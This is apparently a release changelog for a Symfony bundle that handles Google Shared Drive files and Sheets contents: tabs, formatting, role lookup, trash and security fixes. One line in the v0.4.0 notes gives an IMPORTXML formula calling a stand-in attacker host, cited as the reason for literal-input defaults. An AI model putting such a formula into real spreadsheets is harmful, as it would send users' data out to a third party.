protect() lock a range — the formula column — against the people using the sheet
freeze() rows and/or columns kept in view while the rest scrolls
autoResizeColumns() every column widened to fit, as double-clicking a border does
columnWidth() / rowHeight() an exact size in pixels
merge() / unmerge() a block joined into one cell
hideTab() / showTab() / tabColor() the tab itself

Added — tabs

$sheetId = $this->sheets->addTab($fileId, 'Summary');   // returns Google's numeric id
$this->sheets->renameTab($fileId, 'Q3', 'Q4');          // the sheet id does not change
$this->sheets->deleteTab($fileId, 'Scratch');

renameTab() keeps the numeric sheet id, so formulas and charts pointing at the tab keep working, and refuses a title another tab already holds rather than letting Google answer 400. deleteTab() refuses the last remaining tab, and has no undo — there is no trash for a tab, only the spreadsheet's own version history — so treat it the way you treat deleteForever(). It dispatches SheetTabDeletedEvent for the audit trail.

Added — SheetRange

Google's formatting calls do not take A1 notation. They want a GridRange: a numeric sheet id and zero-based, half-open indices. SheetRange::fromA1() bridges that, so callers keep writing 'Q3!A1:D10' and never meet an index. It handles quoted tab names, doubled apostrophes, open-ended ranges (D2:D, A:D10), whole columns and rows, and normalises a reversed range. Sheet ids are resolved with one lookup at apply().

Added — events

SheetFormattedEvent, SheetTabAddedEvent, SheetTabRenamedEvent, SheetTabDeletedEvent.

The subtle part: field masks

Google's repeatCell clears everything the request's field mask covers, so a careless call wipes formatting nobody asked to change. Every call here builds a mask naming exactly the attributes it was given — pass bold: true alone and the background, alignment and number format on those cells survive untouched. There are tests on the masks themselves, not only on the result.

Two decisions worth knowing

  • freeze(), autoResizeColumns() and the tab methods take a tab name, not a range. A bare Q3 in A1 notation is the cell Q3 — the same ambiguity that bit range() in 0.4.0 — and a range would be ambiguous exactly where it matters.
  • There is no unprotect(). Removing a protection means finding the id Google assigned it, which is work for whoever is looking at the spreadsheet, not for something generating one.

conditionalFormat() and dataValidation() take Google's own condition vocabulary — NUMBER_LESS, TEXT_CONTAINS, DATE_BEFORE, ONE_OF_LIST, CUSTOM_FORMULA and the rest — passed through rather than mirrored in a list the bundle would have to keep current.

Still not covered, and said so rather than left to be discovered: charts and pivot tables, named ranges, developer metadata, and sorting a range in place.

Upgrading from 0.5.0: nothing to change — this is additive. ^0.5.0 will not pick 0.6.0 up, so raise the constraint deliberately. The test suite grew from 236 to 326 cases, 37 of them on the A1 parser alone.

v0.5.0

The access check has always been about reach, not role. Anyone holding any grant passes it, and the bundle then acts as the service user — which can rename, move, trash and, since 0.4.0, overwrite cells. An application had no way to tell a reader from an editor short of reading listPermissions() and resolving the grants itself.

Added

  • roleOf(string $fileId): ?string — the role the current viewer effectively holds.

    if ($this->drive->roleOf($fileId) === DrivePermission::ROLE_READER) {
        // show the document, but no edit, rename or delete buttons
    }
    

    It returns the strongest of every grant that applies: named directly or reached through a group, on the item itself or on a folder above it — the way Google resolves an effective permission. Roles the bundle cannot hand out (owner, organizer, fileOrganizer, which come from the Shared Drive's own membership) are reported as they are rather than flattened to "unknown", and a role Google may add later ranks weakest so it can never silently outrank a known one. A viewer whose seesEverything() is true gets null: nothing is looked up for them, and a role would mean nothing, since they bypass filtering anyway.

  • The sharing lookup now asks Google for role alongside the address, so the answer costs no extra request — it rides along with the lookup that already runs.

It reports, it does not enforce

Deliberately. canAccess() still passes anyone holding any grant, and the bundle still performs the operation as the service user. Which role a given operation should require is the application's call: Google itself wants organizer for some sharing changes and writer for others depending on how the Shared Drive is configured, and a wrong matrix baked into a library locks people out of their own documents. The bundle hands over the fact and stays out of the decision.

Changed

  • The permission cache stores a role per address rather than a bare list of addresses, so its key carries a version. Entries written by 0.4.0 and earlier are missed rather than misread — expect one cold lookup per item after upgrading, nothing more.

Not added, on purpose

A viewerRole field on DriveDocument. A folder listing switches per-item filtering off once access to the folder is proven, so the field would be null in the most common path — and a field that is usually empty cannot be told apart from "no role at all". roleOf() walks the parent chain like the access check does, which makes it a per-item question: ask it on the page for one document, not once per row of a listing. If a per-row badge turns out to be worth its cost, the field can be added later; it could not be taken back.

Upgrading from 0.4.0: nothing to change — this is additive. ^0.4.0 will not pick 0.5.0 up, so raise the constraint deliberately. The test suite grew from 225 to 236 cases.

v0.4.0

The bundle now works with what is inside a spreadsheet, not only with the file around it.

Until this release it asked for the auth/spreadsheets scope and told you to enable the Sheets API without ever calling it. Together with the templates added in 0.3.0 this completes a scenario it could only half serve: take a template, fill it with the application's data, hand the user a link to the live editor.

Added

  • SpreadsheetService — listTabs(), read(), readMany(), write(), writeMany(), append(), clear(), plus a range() helper that builds A1 notation with the quoting Google requires. Registered as google_drive_docs.spreadsheets.
    $rows = $sheets->read($fileId, 'Q3!A1:D20');
    $sheets->append($fileId, [[$order->getId(), $order->getTotal()]], 'Orders');
    $sheets->writeMany($fileId, ['Q3!A1' => $head, 'Q3!A4' => $body, 'Q3!A40' => $total]);
    
    It runs on the same authenticated client as the Drive side, so the retry policy and backoff apply here too. Access is not decided separately: every call — reads included — asks DriveDocumentService, so a spreadsheet's contents are exactly as reachable as the spreadsheet itself.
  • SheetValuesUpdatedEvent, SheetRowsAppendedEvent and SheetRangeClearedEvent, each carrying the range and, where Google reports it, the number of rows it actually changed.
  • MAX_BATCH_RANGES (100) — readMany() and writeMany() refuse a longer list before calling Google. This ceiling is the bundle's own, not a documented Google limit: batchGet carries ranges in the query string, where a long list becomes a URL that may be rejected unhelpfully.

Values are stored literally by default

INPUT_RAW is the default, so "=SUM(A1:A2)" stays that text and "007" stays "007". Pass SpreadsheetService::INPUT_AS_TYPED to let Google parse the input as if it had been typed — formulas evaluate, dates and numbers coerce.

The default is deliberate: under INPUT_AS_TYPED any string that happens to start with = becomes a live formula in a document other people open, and =IMPORTXML("http://attacker/", …) is a working exfiltration primitive. Numbers and dates passed as numbers and dates land correctly in either mode — the choice only changes what happens to strings that look like something else. Same shape as grant() / grantAsService() in 0.3.1: a safe default with an explicit, greppable way out.

Reading

read() and readMany() pad rows to the width of the widest one, so $rows[2][3] is always safe: Google drops trailing empty cells from a row and trailing empty rows from the range, and an unpadded request for A1:D3 can come back as one two-element row. Pick what cells should look like with RENDER_FORMATTED (default), RENDER_RAW (underlying values, for arithmetic) or RENDER_FORMULA.

Fixed before release

Caught while auditing the above, all in code that never shipped:

  • range() left a tab name that reads like a cell reference unquoted. Q3 alone is cell Q3 of the first tab, not the tab called Q3 — so appending to such a tab wrote to the wrong place, silently.
  • Reads cast every cell to string, which defeated RENDER_RAW and made an unticked checkbox indistinguishable from an empty cell.
  • writeMany() reported the rows handed in rather than the rows Google said it changed, and the append event named the requested range instead of where the block actually landed.

Worth knowing: the access check is about reach, not role

Documented now because it has always been true and never said out loud. A viewer holding a reader grant passes the access check, and the bundle then acts as the service user — which can rename, move, trash and, as of this release, overwrite cells. If your UI has to tell readers from editors, read the role from listPermissions() (or your own domain model) before offering a mutating action; the bundle does not do that for you yet.

Upgrading from 0.3.x: nothing to change — everything here is additive. Note the constraint though: ^0.3.0 will not pick 0.4.0 up, so raise it to ^0.4.0 deliberately. The Sheets API must be enabled for your Google Cloud project, which the README has always required. The test suite grew from 178 to 225 cases.

v0.3.1

A security fix worth upgrading for, plus the hardening found alongside it.

Security

  • grant(), grantToGroup(), revoke() and listPermissions() now assert the viewer's access to the item first, like every other single-item operation already did. Before, an application with a restrictive ViewerContextInterface let anyone who knew a file id share any document with themselves, revoke other people's access, or read who a document is shared with. Applications where seesEverything() returns true — the default AllowAllViewerContext included — were never exposed and are unaffected.

Added

  • grantAsService() shares on behalf of the application, skipping the viewer check that grant() performs. Without it the access check above has no answer for the "creator gets access" pattern: documents are created by the service user, so one created in the drive root is shared with nobody, and the grant meant to give its creator access is itself a grant on an item that creator cannot yet reach. Role and grantee type are still validated, the event is still dispatched, the cached sharing is still invalidated. It is a separate method rather than a flag on grant() so every bypass is one grep away (#1).
  • UnexpectedDriveStateException for the two cases where Google answers something that cannot be true — an item on a Shared Drive with no parent, a listing whose nextPageToken never ends. Both previously raised a bare RuntimeException, which slipped through the typed catches consumers map onto status codes (#2).
  • A compiler pass that notes in the container log while ViewerContextInterface is still the default AllowAllViewerContext, so running without visibility filtering stays a choice.
  • CI job running the suite against the lowest dependency versions composer.json allows.

Fixed

  • permission_cache.ttl: 0 now keeps lookups out of the shared pool (per-request caching only). Before, entries were saved with no lifetime and lived in the pool until it was cleared — the opposite of what a zero lifetime suggests.
  • canAccess() no longer reads a Google outage as a denial: only 403/404 means "not shared", anything else surfaces instead of silently emptying every listing for every viewer. The sharing lookup still swallows transient API exceptions for the current request, but lets Errors through rather than hiding every document behind a bug.
  • import() verifies the bytes it actually read, not only what filesize() reported, and reads at most one byte past the limit so a failed stat cannot pull a huge file into memory first.
  • Google's machine-readable reason, not the wording of the message, decides whether copy() raises NotCopyableException and revoke() raises InheritedPermissionException. getErrors() returns null rather than an empty array when the body carries no error.errors, so that is guarded: iterating it warned, and a strict error handler — Symfony's, in dev — turns the warning into a throw that masks the real Google failure.
  • deleteForever() no longer mistakes a 403 carrying rateLimitExceeded for a missing Manager role.
  • Folder ids are validated against Google's id alphabet before they are interpolated into a Drive query.
  • move() refuses when Google does not report the item's current parent instead of sending an empty removeParents.
  • canAccess() reports a missing shared_drive_id immediately instead of walking 25 parents in vain.
  • Every paginated walk stops after 1000 pages rather than following an endless nextPageToken until memory runs out.
  • DocumentDeletedEvent's docblock described the trash; it is dispatched on permanent deletion.

Changed

  • The README spells out that retries cover non-idempotent writes too, and what that implies.

Upgrading from 0.3.0: nothing to change unless your ViewerContextInterface restricts what users see. If it does, check for the "creator gets access" pattern — a listener that shares a just-created document with the person who created it. Where the document is created in the root of the Shared Drive that grant must now be grantAsService() instead of grant(); inside a folder the user already reaches it keeps working either way. The test suite grew from 151 to 178 cases.

v0.3.0

Added

  • Trash — trash(), restore(), listTrash(), deleteForever(). Deleting is no longer a one-way door: items stay recoverable until Google purges the trash, 30 days on a Shared Drive. A permanent delete needs the Manager role and reports InsufficientDriveRoleException when the service user is only a "Content manager".
  • Copying and templates — copy() duplicates a document, createFromTemplate() starts one from a template. Folders cannot be copied at all: the Drive API has no folder copy, so Google's refusal surfaces as NotCopyableException instead of an obscure 403.
  • Export — export() renders a document as XLSX, CSV, PDF, DOCX and more, returning a DriveExport whose PSR-7 stream pipes straight to the client, so a download never sits in PHP memory. Google caps one export at 10 MB.
  • Import — import() uploads a local file and lets Google convert it into an editable document: spreadsheets become Sheets, text documents Docs, decks Slides. convert: false stores the file untouched. Refuses anything past Google's 5 MB multipart ceiling with UploadTooLargeException; resumable upload is not implemented yet.
  • Pagination — listFolderPage(), searchPage() and listTrashPage() return a DrivePage (iterable, countable, toArray()-able) costing exactly one files.list call. Drive the loop off hasMore(), never off the item count: visibility filtering can leave a page short or empty while later pages still hold documents.
  • Retries with exponential backoff — HTTP 429/500/502/503/504, the Drive reasons rateLimitExceeded, userRateLimitExceeded, backendError, internalError, and connection-level failures. Never 400/401/403/404, where repeating the call cannot change the answer. Tunable via retry.attempts / retry.initial_delay / retry.max_delay; attempts: 0 restores fail-immediately.
  • Capabilities — every item carries a DriveCapabilities (canEdit, canRename, canDelete, canTrash, canUntrash, canShare, canCopy, canDownload, canAddChildren, canMove), so a UI renders only the actions that work. The flags describe the service user the bundle authenticates as, not the person browsing — per-viewer visibility stays with ViewerContextInterface.
  • Richer metadata on DriveDocument — trashed, createdTime, size (null for Google documents, which occupy no storage), iconLink, thumbnailLink, lastModifiedBy.
  • Test suite grows from 75 to 151 cases, PHPStan level 6 clean.

Changed

  • listFolder(), search() and listTrash() keep their signatures and still return every item, but are now built on the paged primitives and fetch pages of 1000 instead of 100 — ten times fewer round trips on a large drive.
  • DocumentDeletedEvent now documents what it always did: the item was erased for good, not trashed. Its docblock and the README claimed the opposite. Listeners keep their meaning.
  • A 403 on a permanent delete becomes InsufficientDriveRoleException rather than a raw Google\Service\Exception. Code catching the latter around delete() must catch the new one.

Deprecated

  • DriveDocumentService::delete(). Its behaviour is unchanged — it erases the item for good — but the name never said so. It will be removed in 1.0.

Upgrading from 0.2.0: the only breaking change is that deprecation. Replace delete() with deleteForever() to keep erasing items for good, or with trash() to make the action recoverable — the latter is probably what a trash-can button in your UI should do. Everything else is additive: new methods, new optional constructor arguments with defaults, new config keys that default to the previous behaviour. Two dependencies became explicit now that they appear in the public API: symfony/deprecation-contracts and psr/http-message.

v0.2.0

Added

  • PSR-14 events on every write operation — DocumentCreatedEvent, FolderCreatedEvent, DocumentRenamedEvent, DocumentMovedEvent, DocumentDeletedEvent, AccessGrantedEvent, AccessRevokedEvent. Auditing and notifications now live in the host application.
  • Sharing with Google groups — grantToGroup() plus a $type argument on grant(). Visibility filtering matches group grants through ViewerContextInterface::getViewerGroups().
  • Optional PSR-6 caching of sharing lookups (permission_cache.pool / permission_cache.ttl), invalidated immediately when access changes through the bundle. A missing pool warns at compile time instead of silently disabling the cache.
  • Test suite and CI — 59 tests, GitHub Actions across PHP 8.1–8.3 × Symfony 6.4/7, PHPStan level 6.

Changed

  • ViewerContextInterface gained getViewerGroups(): array. Existing implementations must add it; return an empty array when sharing with groups is not used.

Upgrading from 0.1.0: add getViewerGroups() to your ViewerContextInterface implementation. Everything else is backwards compatible — events and caching are opt-in.

v0.1.0

First public release.

A Symfony bundle that turns a Google Shared Drive into a document workspace inside your application.

Features

  • Browse folders and documents on a Shared Drive, navigate any depth, search by name
  • Create, rename, move and delete Google Sheets/Docs and folders
  • Embed the native Google editor through each document's webViewLink
  • Manage sharing per file or folder (reader / commenter / writer)
  • Per-user visibility: users see only what has been shared with them; admins see everything
  • Inheritance-aware sharing — inherited permissions are flagged, and revoking them raises a clear error
  • OAuth refresh-token authentication, so it works on organisations where service-account keys are disabled by policy

Extension point

Implement ViewerContextInterface to tell the bundle who is browsing and whether they bypass filtering.

See the README for Google setup and usage.

Weaver

How can I help you explore Laravel packages today?

Conversation history is not saved when not logged in.
Prompt
Add packages to context
No packages found.
elmogy/larafast
xeviant/laravel-paystack
gorilladash/laravel-website-sdk
martialbe/flysystem-oss
chondal/3312client
jeroen-g/flickr
opscale-co/nova-genbi
itsjustvita/laravel-retention
tequilarapido/trackit
gregsphotography/site-builder-filament
cabaoctavio/laravel-query-log
gregsphotography/site-builder-components
io-digital/clickatell
snowsoft/laravel-admin
oxygen/auth
relicsoftware/barakah-payment-gateway
tobya/work-with-composer
equipc/laravel-email-validator
equipc/laravel-email-database-log
adedsec/nova-translated-labels